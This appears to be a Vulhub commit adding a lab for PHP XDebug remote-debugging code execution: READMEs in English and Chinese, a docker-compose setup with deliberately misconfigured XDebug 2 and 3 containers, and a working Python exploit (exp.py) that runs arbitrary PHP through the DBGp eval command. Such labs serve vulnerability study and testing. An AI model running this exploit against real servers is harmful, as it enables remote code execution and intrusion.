first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
php/xdebug-rce/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

66
php/xdebug-rce/README.md Normal file
View File

@@ -0,0 +1,66 @@
# PHP XDebug Remote Debugging Code Execution
[中文版本(Chinese version)](README.zh-cn.md)
XDebug is a PHP extension used for debugging PHP code. When remote debugging mode is enabled with appropriate settings, an attacker can execute arbitrary PHP code on the target server by exploiting the debug protocol (DBGp).
For XDebug version 2.x, the vulnerability occurs when the following configuration is enabled:
```ini
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
```
For XDebug version 3.x (which introduced breaking changes in configuration), the equivalent vulnerable configuration is:
```ini
xdebug.mode = debug
xdebug.discover_client_host = 1
xdebug.client_host = 1
```
When these configurations are enabled, XDebug will attempt to connect back to the attacker's IP through the DBGp protocol when a client visits the appropriate trigger URL. The DBGp protocol provides an `eval` function that can be used to execute arbitrary PHP code.
References:
- <https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>
- <https://xdebug.org>
## Environment Setup
Execute the following command to build and start the vulnerable environment:
```
docker compose up -d
```
The environment includes two services:
- PHP 7.1 with XDebug 2.5.5: Accessible at `http://your-ip:8080/`
- PHP 7.4 with XDebug 3.1.6: Accessible at `http://your-ip:8081/`
After the environment is started, visit each URL to see a simple phpinfo page. You can verify that XDebug is enabled and configured for remote debugging in the PHP configuration section.
## Vulnerability Reproduction
Since the vulnerability requires communication using the DBGp protocol with the target server, it cannot be reproduced using HTTP protocol alone.
A proof-of-concept exploit script [exp.py](exp.py) is provided that can execute arbitrary PHP code on the target server. The script supports both XDebug 2.x (port 9000) and XDebug 3.x (port 9003):
```bash
# Requires Python 3 and the requests library
python3 exp.py -t http://[target-ip]:8080/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
python3 exp.py -t http://[target-ip]:8081/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
```
Successful exploitation will execute the command and return its output:
![](1.png)
### Important Notes
The exploitation process involves a reverse connection:
1. The exploit script listens on port 9000 (XDebug 2.x) and port 9003 (XDebug 3.x), please make sure these ports are not blocked by the firewall
2. You have to have a public IP address or be in the same network as the target
3. If your public IP differs from your local machine, use the `--dbgp-ip` parameter to specify the IP address that the target server can reach

View File

@@ -0,0 +1,64 @@
# PHP XDebug远程调试导致代码执行漏洞
XDebug是一个用于调试PHP代码的扩展。当启用远程调试模式并设置适当的配置时攻击者可以通过利用调试协议(DBGp)在目标服务器上执行任意PHP代码。
对于XDebug 2.x版本当配置如下时存在漏洞
```ini
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
```
对于XDebug 3.x版本当配置如下时存在漏洞
```ini
xdebug.mode = debug
xdebug.discover_client_host = 1
xdebug.client_host = 1
```
当启用这些配置时XDebug会在接收到`XDEBUG_SESSION_START``XDEBUG_SESSION``XDEBUG_TRIGGER`等参数时尝试通过DBGp协议连接回攻击者的IP。该协议提供了一个`eval`函数可用于执行任意PHP代码。
参考链接:
- <https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>
- <https://xdebug.org>
## 环境搭建
执行如下命令编译并启动漏洞环境:
```
docker compose up -d
```
该环境包含两个服务:
- PHP 7.1 + XDebug 2.5.5:可通过`http://your-ip:8080/`访问
- PHP 7.4 + XDebug 3.1.6:可通过`http://your-ip:8081/`访问
环境启动后访问各个URL可以看到一个简单的phpinfo页面。在PHP配置部分可以验证XDebug已启用并配置了远程调试功能。
## 漏洞复现
由于漏洞需要使用DBGp协议与目标服务器通信所以无法仅使用HTTP协议复现漏洞。
Vulhub提供了一个简单的漏洞利用脚本[exp.py](exp.py)可以在目标服务器上执行任意PHP代码。该脚本同时支持XDebug 2.x端口9000和XDebug 3.x端口9003
```bash
# 需要Python 3和requests库
python3 exp.py -t http://[target-ip]:8080/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
python3 exp.py -t http://[target-ip]:8081/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
```
成功利用漏洞后将执行命令并返回输出:
![](1.png)
### 重要说明
漏洞利用过程涉及反向连接:
1. 利用脚本同时监听9000端口XDebug 2.x和9003端口XDebug 3.x请确保这些端口没有被防火墙阻止
2. 你需要有一个公网IP地址或与目标在同一网络中才能接收到连接
3. 如果你的公网IP与本地机器不同请使用`--dbgp-ip`参数指定目标服务器可以访问的IP地址

View File

@@ -0,0 +1,13 @@
services:
xdebug2:
image: vulhub/php:7.1-xdebug
ports:
- "8080:80"
volumes:
- ./index.php:/var/www/html/index.php
xdebug3:
image: vulhub/php:7.4-xdebug
ports:
- "8081:80"
volumes:
- ./index.php:/var/www/html/index.php

120
php/xdebug-rce/exp.py Normal file
View File

@@ -0,0 +1,120 @@
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
import socketserver
import threading
import logging
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(levelname)s - %(message)s')
server_done = threading.Event()
server_started = threading.Event()
def recv_xml(sock: socket.socket) -> bytes:
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
class XDebugRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
logging.info('[+] Recieve data from %s', self.client_address)
self.request.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(self.server.code.encode()), b'\x00']))
data = recv_xml(self.request)
logging.info('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
logging.warning('[-] No result...')
return
data = g.group(1)
try:
logging.info('[+] Result: ' + base64.b64decode(data).decode())
server_done.set()
except binascii.Error as e:
logging.error('[-] May be not string result: %s', e)
class XDebugServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
def __init__(self, server_address, handler_class, code):
self.code = code
self.allow_reuse_address = True
super().__init__(server_address, handler_class)
def server_activate(self):
super().server_activate()
logging.info('[+] Server %s started', self.server_address)
server_started.set()
def start_dbgp_server(port: int, code: str):
server = XDebugServer(('0.0.0.0', port), XDebugRequestHandler, code)
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
server_thread.start()
return server_thread
def trigger_debug_session(url: str, attack_ip: str):
try:
server_started.wait(timeout=5)
logging.info('[+] Trigger debug session')
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0'
}
if attack_ip:
headers['X-Forwarded-For'] = attack_ip
requests.get(url + '?XDEBUG_SESSION_START=phpstorm&XDEBUG_SESSION=1&XDEBUG_TRIGGER=1', headers=headers, timeout=5)
except:
pass
def main():
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('--dbgp-ip', default='', help='dbgp server ip address, must can be accessed from target server.')
args = parser.parse_args()
start_dbgp_server(9000, args.code)
start_dbgp_server(9003, args.code)
threading.Thread(target=trigger_debug_session, args=(args.target, args.dbgp_ip), daemon=True).start()
try:
# Wait with a timeout, but check for interrupts
for i in range(20):
if server_done.is_set():
break
time.sleep(0.5)
else:
logging.error('[-] Execution timed out')
except KeyboardInterrupt:
logging.info('[*] Received keyboard interrupt, exiting...')
if __name__ == '__main__':
main()

2
php/xdebug-rce/index.php Normal file
View File

@@ -0,0 +1,2 @@
<?php
phpinfo();